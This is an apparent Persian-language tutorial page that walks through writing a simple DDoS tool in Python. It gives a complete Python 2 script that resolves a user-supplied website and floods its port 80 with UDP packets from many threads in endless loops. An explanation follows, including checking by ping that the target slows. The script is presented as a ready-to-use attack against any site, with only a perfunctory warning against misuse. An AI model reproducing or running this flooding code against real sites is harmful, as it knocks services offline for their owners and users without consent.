درخواست های ارتباط
جستجو
لیست دوستان من
صندوق پیام
همه را دیدم
  • در حال دریافت لیست پیام ها
صندوق پیام
رویدادها
همه را دیدم
  • در حال دریافت لیست رویدادها
همه رویدادهای من
تخفیف های وب سایت
همه تخفیف ها

عضویت در

کانال تلگرام

توسینسو

اطلاعات مطلب
مدرس/نویسنده
سید محمد باقر موسوی
امتیاز: 10305
رتبه:63
0
46
0
21
کارشناس فناوری اطلاعات - Linux Systems Administrator پروفایل کاربر

چطور با پایتون یک برنامه DDOS Attack ساده بنویسیم؟

تاریخ 27 ماه قبل
نظرات 1
بازدیدها 1099
سلام و وقت بخیر. امروز میخوایم یک برنامه ساده در پایتون رو با هم تمرین کنیم. میدونیم حمله DOS یا DDOS یکی از معمول ترین حملات به سایت ها است که باعث از دسترس خارج شدن سایت میشود. این کار با سرازیر کردن تعداد بسیار زیادی درخواست در زمان کوتاه به سمت سایت و شلوغ کردن سر آن، انجام میشود.به کد زیر دقت کنید.
#!/usr/bin/python
import time, socket, sys, thread

victim_addr = raw_input("Enter The URL [ENTER]: ")
thread_count = input("Enter the counts of thread you wish to lunch [ENTER]: ")
victim_ip = socket.gethostbyname(victim_addr)

UDP_PORT = 80
MESSAGE = "DOS ATTACK!!!"
print "UDP target IP:", victim_ip
print "UDP target port:", UDP_PORT
time.sleep(3)

def dos(i):
	while True:	
			sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
			sock.sendto(MESSAGE, (victim_ip, UDP_PORT))
			print "Packet Sent"
		
for i in xrange(thread_count):
	try:
	 thread.start_new_thread( dos , ("Thread-"+str(i),) )
	except KeyboardInterrupt:
			sys.exit(0)
while 1:
  pass

در ابتدا نام سایت مورد نظر را وارد میکنیم (بدون www و http یا https مثلا tosinso.com ) و آن را در متغیری ذخیره میکنیم. سپس تعداد thread های مورد نظر را دریافت میکنیم. هر thread با استفاده از یک حلقه بینهایت، بسته های udp را به سمت پورت 80 سرور مورد نظر ارسال میکند. بدیهی است که هرچه تعداد Thread ها بیشتر باشد حمله موثر تر و صد البته مهاجم به منابع سخت افزاری و نرم افزاری و پهنای باند بیشتری هم برای اجرای حمله نیاز خواهد داشت. تابع socket.gethostbyname تبدیل اسم به ip را برای ما انجام میدهد. یعنی اسم سایت را میگیرد و آدرس ip سایت را برمیگرداند.for i in xrange thread__count برای ایجاد کردن thread هاست. به تعداد عددی که کاربر برای Thread وارد کرده این حلقه انجام میشود. در هر بار انجام شدن آن به اضای هر thread یک بار تابع dos صدا زده میشود و در تابع dos به وسیله یک حلقه بینهایت که در آن پشت سر هم socket ساخته میشود، بسته های udp به سمت سایت قربانی سرازیر میشود.این برنامه بدون توقف پشت سر هم اجرا میشود و شرط متوقف کردن حمله با except KeyboardInterrupt تامین شده است. لحظه ای که کلید کنترل و c را فشار دهید، به منزله یک وقفه برای سیستم بوده و از حلقه for تولید کننده thread ها خارج میشود.برای تست کردن صحت اجرا میتونید در حین اجرای برنامه از سایت مورد نظر ping بگیرید. مشاهده خواهید کرد که بسته ها یا time out میشوند یا با تاخیر بیشتری از حد معمول بازمیگردند.از برنامه سوء استفاده نکنید !!! با تشکر !!! :))))
برچسب ها
ردیف عنوان
1 چطور با پایتون یک برنامه ARP Poisoning بنویسیم؟
2 چطور با پایتون یک برنامه Admin Page Finder ساده بنویسیم؟
3 چطور با پایتون یک برنامه DDOS Attack ساده بنویسیم؟
دوره مجموعه کل دوره
مطالب مرتبط

در حال دریافت اطلاعات

نظرات
  • خسته نباشید.ممنون که این کد رو در اختیار همه قرار گذاشتید ولی دوست عزیز کدتون مشکل داره.
    اول اینکه باید این کد جلوی print رو داخل پرانتز بزارید.
    print "UDP target IP:", victim_ip
    print "UDP target port:", UDP_PORT
    بعد اینکه import time, socket, sys, thread دقیقا از کجا import میکنه؟

برای ارسال نظر ابتدا به سایت وارد شوید